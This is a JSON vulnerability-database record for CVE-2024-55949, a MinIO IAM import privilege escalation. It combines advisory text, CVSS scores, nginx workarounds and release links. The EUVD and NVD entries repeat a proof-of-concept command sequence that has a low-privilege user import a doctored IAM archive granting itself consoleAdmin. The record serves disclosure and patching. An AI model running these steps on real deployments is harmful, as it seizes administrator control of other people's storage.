{"id":"CVE-2024-55949","aliases":["EUVD-2024-3532","GHSA-cwq8-g58r-32hg","GO-2024-3336","openSUSE-SU-2024:14603-1"],"status":"published","title":"Privilege escalation in IAM import API in MinIO","description":"MinIO is a high-performance, S3 compatible object store, open sourced under GNU AGPLv3 license. Minio is subject to a privilege escalation in IAM import API, all users are impacted since MinIO commit `580d9db85e04f1b63cc2909af50f0ed08afa965f`. This issue has been addressed in commit `f246c9053f9603e610d98439799bdd2a6b293427` which is included in RELEASE.2024-12-13T22-19-12Z. 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Minio is subject to a privilege escalation in IAM import API, all users are impacted since MinIO commit `580d9db85e04f1b63cc2909af50f0ed08afa965f`. This issue has been addressed in commit `f246c9053f9603e610d98439799bdd2a6b293427` which is included in RELEASE.2024-12-13T22-19-12Z. There are no workarounds possible, all users are advised to upgrade immediately.","status":"published","published":"2024-12-16T20:02:00.856Z","modified":"2024-12-16T20:18:46.452Z","cvss":[{"version":"4.0","score":9.3,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N","level":"critical","assessor":"cna"}],"cwes":["CWE-269"],"updated_at":"2026-11-02T14:34:22.525279Z"}],"euvd":[{"id":"EUVD-2024-3532","description":"MinIO is a high-performance, S3 compatible object store, open sourced under GNU AGPLv3 license. Minio is subject to a privilege escalation in IAM import API, all users are impacted since MinIO commit `580d9db85e04f1b63cc2909af50f0ed08afa965f`. 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Craft iam-info.zip file: Update own user permission in\n    user_mappings.json\n    2. Upload it via `mc admin cluster iam import nobody iam-info.zip`\n    \n    Here `nobody` can be a user with pretty much any kind of permission (but\n    not anonymous) and this ends up working.\n    \n    Some more detailed steps - start from a fresh setup:\n    \n    ```\n    ./minio server /tmp/d{1...4} \u0026\n    mc alias set myminio http://localhost:9000 minioadmin minioadmin\n    mc admin user add myminio nobody nobody123\n    mc admin policy attach myminio readwrite nobody nobody123\n    mc alias set nobody http://localhost:9000 nobody nobody123\n    \n    mc admin cluster iam export myminio\n    mkdir /tmp/x \u0026\u0026 mv myminio-iam-info.zip /tmp/x\n    cd /tmp/x\n    unzip myminio-iam-info.zip\n    echo '{\"nobody\":{\"version\":1,\"policy\":\"consoleAdmin\",\"updatedAt\":\"2024-08-13T19:47:10.1Z\"}}' \u003e \\\n          iam-assets/user_mappings.json\n    zip -r myminio-iam-info-updated.zip iam-assets/\n    \n    mc admin cluster iam import nobody ./myminio-iam-info-updated.zip\n    mc admin service restart nobody\n    ```\n```\n\n### Workarounds\nThere are no workarounds possible, all users are advised to upgrade immediately if you don't run MinIO behind a load balancer.\n\nBehind a load balancer / firewall such as `nginx` . \n\n```\nlocation /minio/admin/v2/import-iam {\n...\n}\n```\n\n```\nlocation /minio/admin/v3/import-iam-v2 {\n...\n```\n\nFollowing locations can be blocked from external access, temporarily disallowing the API calls completely until the deployments can be upgraded.\n\n### References\nRefer https://github.com/minio/minio/pull/20756 for more information \n\n### Binary Releases\n#### AiStor Containers\n```\nquay.io/minio/aistor/minio:RELEASE.2024-12-13T13-42-41Z\nquay.io/minio/aistor/minio:RELEASE.2024-12-13T13-42-41Z.fips\n```\n\n#### AiStor Binaries\n#####  Architecture: `linux/amd64`\n- https://dl.min.io/aistor/minio/release/linux-amd64/archive/minio.RELEASE.2024-12-13T13-42-41Z\n\n##### Architecture: `linux/arm64`\n- https://dl.min.io/aistor/minio/release/linux-arm64/archive/minio.RELEASE.2024-12-13T13-42-41Z\n\n##### Architecture: `windows/amd64`\n- https://dl.min.io/aistor/minio/release/windows-amd64/archive/minio.RELEASE.2024-12-13T13-42-41Z\n\n### Community Containers\n```\nquay.io/minio/minio:RELEASE.2024-12-13T22-19-12Z\nquay.io/minio/minio:RELEASE.2024-12-13T22-19-12Z.fips\n```\n\n### Community Binaries\n#####  Architecture: `linux/amd64`\n- https://dl.min.io/server/minio/release/linux-amd64/archive/minio.RELEASE.2024-12-13T22-19-12Z\n\n##### Architecture: `linux/arm64`\n- https://dl.min.io/server/minio/release/linux-arm64/archive/minio.RELEASE.2024-12-13T22-19-12Z\n\n##### Architecture: `windows/amd64`\n- https://dl.min.io/server/minio/release/windows-amd64/archive/minio.RELEASE.2024-12-13T22-19-12Z\n\n### Credits\nCredit goes to [National Security Agency](https://www.nsa.gov/) for reporting this issue.\n","status":"published","published":"2024-12-16T17:27:53Z","modified":"2025-02-28T20:04:04Z","cvss":[{"version":"4.0","score":7.1,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N","level":"high"}],"cwes":["CWE-269"],"updated_at":"2026-11-02T14:38:33.163519Z"}],"nvd":[{"id":"CVE-2024-55949","description":"MinIO is a high-performance, S3 compatible object store, open sourced under GNU AGPLv3 license. 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Craft iam-info.zip file: Update own user permission in\n    user_mappings.json\n    2. Upload it via `mc admin cluster iam import nobody iam-info.zip`\n    \n    Here `nobody` can be a user with pretty much any kind of permission (but\n    not anonymous) and this ends up working.\n    \n    Some more detailed steps - start from a fresh setup:\n    \n    ```\n    ./minio server /tmp/d{1...4} \u0026\n    mc alias set myminio http://localhost:9000 minioadmin minioadmin\n    mc admin user add myminio nobody nobody123\n    mc admin policy attach myminio readwrite nobody nobody123\n    mc alias set nobody http://localhost:9000 nobody nobody123\n    \n    mc admin cluster iam export myminio\n    mkdir /tmp/x \u0026\u0026 mv myminio-iam-info.zip /tmp/x\n    cd /tmp/x\n    unzip myminio-iam-info.zip\n    echo '{\"nobody\":{\"version\":1,\"policy\":\"consoleAdmin\",\"updatedAt\":\"2024-08-13T19:47:10.1Z\"}}' \u003e \\\n          iam-assets/user_mappings.json\n    zip -r myminio-iam-info-updated.zip iam-assets/\n    \n    mc admin cluster iam import nobody ./myminio-iam-info-updated.zip\n    mc admin service restart nobody\n    ```\n```\n\n### Workarounds\nThere are no workarounds possible, all users are advised to upgrade immediately if you don't run MinIO behind a load balancer.\n\nBehind a load balancer / firewall such as `nginx` . \n\n```\nlocation /minio/admin/v2/import-iam {\n...\n}\n```\n\n```\nlocation /minio/admin/v3/import-iam-v2 {\n...\n```\n\nFollowing locations can be blocked from external access, temporarily disallowing the API calls completely until the deployments can be upgraded.\n\n### References\nRefer https://github.com/minio/minio/pull/20756 for more information \n\n### Binary Releases\n#### AiStor Containers\n```\nquay.io/minio/aistor/minio:RELEASE.2024-12-13T13-42-41Z\nquay.io/minio/aistor/minio:RELEASE.2024-12-13T13-42-41Z.fips\n```\n\n#### AiStor Binaries\n#####  Architecture: `linux/amd64`\n- https://dl.min.io/aistor/minio/release/linux-amd64/archive/minio.RELEASE.2024-12-13T13-42-41Z\n\n##### Architecture: `linux/arm64`\n- https://dl.min.io/aistor/minio/release/linux-arm64/archive/minio.RELEASE.2024-12-13T13-42-41Z\n\n##### Architecture: `windows/amd64`\n- https://dl.min.io/aistor/minio/release/windows-amd64/archive/minio.RELEASE.2024-12-13T13-42-41Z\n\n### Community Containers\n```\nquay.io/minio/minio:RELEASE.2024-12-13T22-19-12Z\nquay.io/minio/minio:RELEASE.2024-12-13T22-19-12Z.fips\n```\n\n### Community Binaries\n#####  Architecture: `linux/amd64`\n- https://dl.min.io/server/minio/release/linux-amd64/archive/minio.RELEASE.2024-12-13T22-19-12Z\n\n##### Architecture: `linux/arm64`\n- https://dl.min.io/server/minio/release/linux-arm64/archive/minio.RELEASE.2024-12-13T22-19-12Z\n\n##### Architecture: `windows/amd64`\n- https://dl.min.io/server/minio/release/windows-amd64/archive/minio.RELEASE.2024-12-13T22-19-12Z\n\n### Credits\nCredit goes to [National Security Agency](https://www.nsa.gov/) for reporting this issue.\n","status":"published","published":"2024-12-16T17:27:53Z","modified":"2026-10-08T08:11:01.992849791Z","cvss":[{"version":"4.0","score":7.1,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N","level":"high"}],"cwes":["CWE-269"],"updated_at":"2026-11-02T15:46:45.639885Z"},{"id":"GO-2024-3336","title":"MinIO vulnerable to privilege escalation in IAM import API in github.com/minio/minio","description":"MinIO vulnerable to privilege escalation in IAM import API in github.com/minio/minio","status":"published","published":"2024-12-18T16:35:54Z","modified":"2026-10-08T08:11:01.992849791Z","updated_at":"2026-11-02T15:47:01.728182Z"},{"id":"openSUSE-SU-2024:14603-1","title":"govulncheck-vulndb-0.0.20241218T202206-1.1 on GA media","description":"These are all security issues fixed in the govulncheck-vulndb-0.0.20241218T202206-1.1 package on the GA media of openSUSE Tumbleweed.","status":"published","published":"2024-12-19T00:00:00Z","modified":"2026-02-04T03:59:24.487363Z","updated_at":"2026-11-02T16:58:36.976155Z"}]}}